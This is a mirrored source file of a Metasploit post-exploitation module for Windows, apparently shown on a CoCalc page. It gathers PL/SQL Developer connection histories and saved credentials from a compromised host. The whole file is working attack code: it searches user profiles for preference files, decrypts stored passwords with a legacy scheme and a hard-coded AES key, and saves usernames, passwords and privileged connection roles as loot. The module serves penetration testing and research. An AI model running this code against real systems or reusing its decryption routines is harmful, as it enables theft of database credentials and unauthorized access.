CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/plsql_developer.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::UserProfiles
8
include Msf::Post::File
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Gather PL/SQL Developer Connection Credentials',
15
'Description' => %q{
16
This module can decrypt the histories and connection credentials of PL/SQL Developer,
17
and passwords are available if the user chooses to remember.
18
},
19
'License' => MSF_LICENSE,
20
'References' => [
21
[ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/']
22
],
23
'Author' => [
24
'Adam Caudill', # Discovery of legacy decryption algorithm
25
'Jemmy Wang' # Msf module & Discovery of AES decryption algorithm
26
],
27
'Platform' => [ 'win' ],
28
'SessionTypes' => [ 'meterpreter' ],
29
'Compat' => {
30
'Meterpreter' => {
31
'Commands' => %w[
32
stdapi_fs_ls
33
stdapi_fs_separator
34
stdapi_fs_stat
35
]
36
}
37
},
38
'Notes' => {
39
'Stability' => [CRASH_SAFE],
40
'SideEffects' => [IOC_IN_LOGS],
41
'Reliability' => []
42
}
43
)
44
)
45
register_options(
46
[
47
OptString.new('PLSQL_PATH', [ false, 'Specify the path of PL/SQL Developer']),
48
]
49
)
50
end
51
52
def decrypt_str_legacy(str)
53
result = ''
54
key = str[0..3].to_i
55
for i in 1..(str.length / 4 - 1) do
56
n = str[(i * 4)..(i * 4 + 3)].to_i
57
result << (((n - 1000) ^ (key + i * 10)) >> 4).chr
58
end
59
return result
60
end
61
62
# New AES encryption algorithm introduced since PL/SQL Developer 15.0
63
def decrypt_str_aes(str)
64
bytes = Rex::Text.decode_base64(str)
65
66
cipher = OpenSSL::Cipher.new('aes-256-cfb8')
67
cipher.decrypt
68
hash = Digest::SHA1.digest('PL/SQL developer + Oracle 11.0.x')
69
cipher.key = hash + hash[0..11]
70
cipher.iv = bytes[0..7] + "\x00" * 8
71
72
return cipher.update(bytes[8..]) + cipher.final
73
end
74
75
def decrypt_str(str)
76
# Empty string
77
if str == ''
78
return ''
79
end
80
81
if str.match(/^(\d{4})+$/)
82
return decrypt_str_legacy(str) # Legacy encryption
83
elsif str.match(%r{^X\.([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$})
84
return decrypt_str_aes(str[2..]) # New AES encryption
85
end
86
87
# Shouldn't reach here
88
print_error("Unknown encryption format: #{str}")
89
return '[Unknown]'
90
end
91
92
# Parse and separate the history string
93
def parse_history(str)
94
# @keys is defined in decrypt_pref, and this function is called by decrypt_pref after @keys is defined
95
result = Hash[@keys.map { |k| [k.to_sym, ''] }]
96
result[:Parent] = '-2'
97
98
if str.end_with?(' AS SYSDBA')
99
result[:ConnectAs] = 'SYSDBA'
100
str = str[0..-11]
101
elsif str.end_with?(' AS SYSOPER')
102
result[:ConnectAs] = 'SYSOPER'
103
str = str[0..-12]
104
else
105
result[:ConnectAs] = 'Normal'
106
end
107
108
# Database should be the last part after '@' sign
109
ind = str.rindex('@')
110
if ind.nil?
111
# Unexpected format, just use the whole string as DisplayName
112
result[:DisplayName] = str
113
return result
114
end
115
116
result[:Database] = str[(ind + 1)..]
117
str = str[0..(ind - 1)]
118
119
unless str.count('/') == 1
120
# Unexpected format, just use the whole string as DisplayName
121
result[:DisplayName] = str
122
return result
123
end
124
125
result[:Username] = str[0..(str.index('/') - 1)]
126
result[:Password] = str[(str.index('/') + 1)..]
127
128
return result
129
end
130
131
def decrypt_pref(file_name)
132
file_contents = read_file(file_name)
133
if file_contents.nil? || file_contents.empty?
134
print_status "Skipping empty file: #{file_name}"
135
return []
136
end
137
138
print_status("Decrypting #{file_name}")
139
result = []
140
141
logon_history_section = false
142
connections_section = false
143
144
# Keys that we care about
145
@keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password]
146
# Initialize obj with empty values
147
obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
148
# Folder parent objects
149
folders = {}
150
151
file_contents.split("\n").each do |line|
152
line.gsub!(/(\n|\r)/, '')
153
154
if line == '[LogonHistory]' && !(logon_history_section || connections_section)
155
logon_history_section = true
156
next
157
elsif line == '[Connections]' && !(logon_history_section || connections_section)
158
connections_section = true
159
next
160
elsif line == ''
161
logon_history_section = false
162
connections_section = false
163
next
164
end
165
166
if logon_history_section
167
# Contents in [LogonHistory] section are plain encrypted strings
168
# Calling the legacy decrypt function is intentional here
169
result << parse_history(decrypt_str_legacy(line))
170
elsif connections_section
171
# Contents in [Connections] section are key-value pairs
172
ind = line.index('=')
173
if ind.nil?
174
print_error("Invalid line: #{line}")
175
next
176
end
177
178
key = line[0..(ind - 1)]
179
value = line[(ind + 1)..]
180
181
if key == 'Password'
182
obj[:Password] = decrypt_str(value)
183
elsif obj.key?(key.to_sym)
184
obj[key.to_sym] = value
185
end
186
187
# Color is the last field of a connection
188
if key == 'Color'
189
if obj[:IsFolder] != '1'
190
result << obj
191
else
192
folders[obj[:Number]] = obj
193
end
194
195
# Reset obj
196
obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
197
end
198
199
end
200
end
201
202
# Build display name (Add parent folder name to the beginning of the display name)
203
result.each do |item|
204
pitem = item
205
while pitem[:Parent] != '-1' && pitem[:Parent] != '-2'
206
pitem = folders[pitem[:Parent]]
207
if pitem.nil?
208
print_error("Invalid parent: #{item[:Parent]}")
209
break
210
end
211
item[:DisplayName] = pitem[:DisplayName] + '/' + item[:DisplayName]
212
end
213
214
if item[:Parent] == '-2'
215
item[:DisplayName] = '[LogonHistory]' + item[:DisplayName]
216
else
217
item[:DisplayName] = '[Connections]/' + item[:DisplayName]
218
end
219
220
# Remove fields used to build the display name
221
item.delete(:Parent)
222
item.delete(:Number)
223
item.delete(:IsFolder)
224
225
# Add file path to the final result
226
item[:FilePath] = file_name
227
end
228
229
return result
230
end
231
232
def enumerate_pref(plsql_path)
233
result = []
234
pref_dir = plsql_path + session.fs.file.separator + 'Preferences'
235
session.fs.dir.entries(pref_dir).each do |username|
236
udir = pref_dir + session.fs.file.separator + username
237
file_name = udir + session.fs.file.separator + 'user.prefs'
238
239
result << file_name if directory?(udir) && file?(file_name)
240
end
241
242
return result
243
end
244
245
def run
246
print_status("Gather PL/SQL Developer Histories and Credentials on #{sysinfo['Computer']}")
247
profiles = grab_user_profiles
248
pref_paths = []
249
250
profiles.each do |user_profiles|
251
session.fs.dir.entries(user_profiles['AppData']).each do |dirname|
252
if dirname.start_with?('PLSQL Developer')
253
search_dir = user_profiles['AppData'] + session.fs.file.separator + dirname
254
pref_paths += enumerate_pref(search_dir)
255
end
256
end
257
end
258
pref_paths += enumerate_pref(datastore['PLSQL_PATH']) if datastore['PLSQL_PATH'].present?
259
260
result = []
261
pref_paths.uniq.each { |pref_path| result += decrypt_pref(pref_path) }
262
263
tbl = Rex::Text::Table.new(
264
'Header' => 'PL/SQL Developer Histories and Credentials',
265
'Columns' => ['DisplayName', 'Username', 'Database', 'ConnectAs', 'Password', 'FilePath']
266
)
267
268
result.each do |item|
269
tbl << item.values
270
end
271
272
print_line(tbl.to_s)
273
# Only save data to disk when there's something in the table
274
if tbl.rows.count > 0
275
path = store_loot('host.plsql_developer', 'text/plain', session, tbl, 'plsql_developer.txt', 'PL/SQL Developer Histories and Credentials')
276
print_good("Passwords stored in: #{path}")
277
end
278
end
279
end
280
281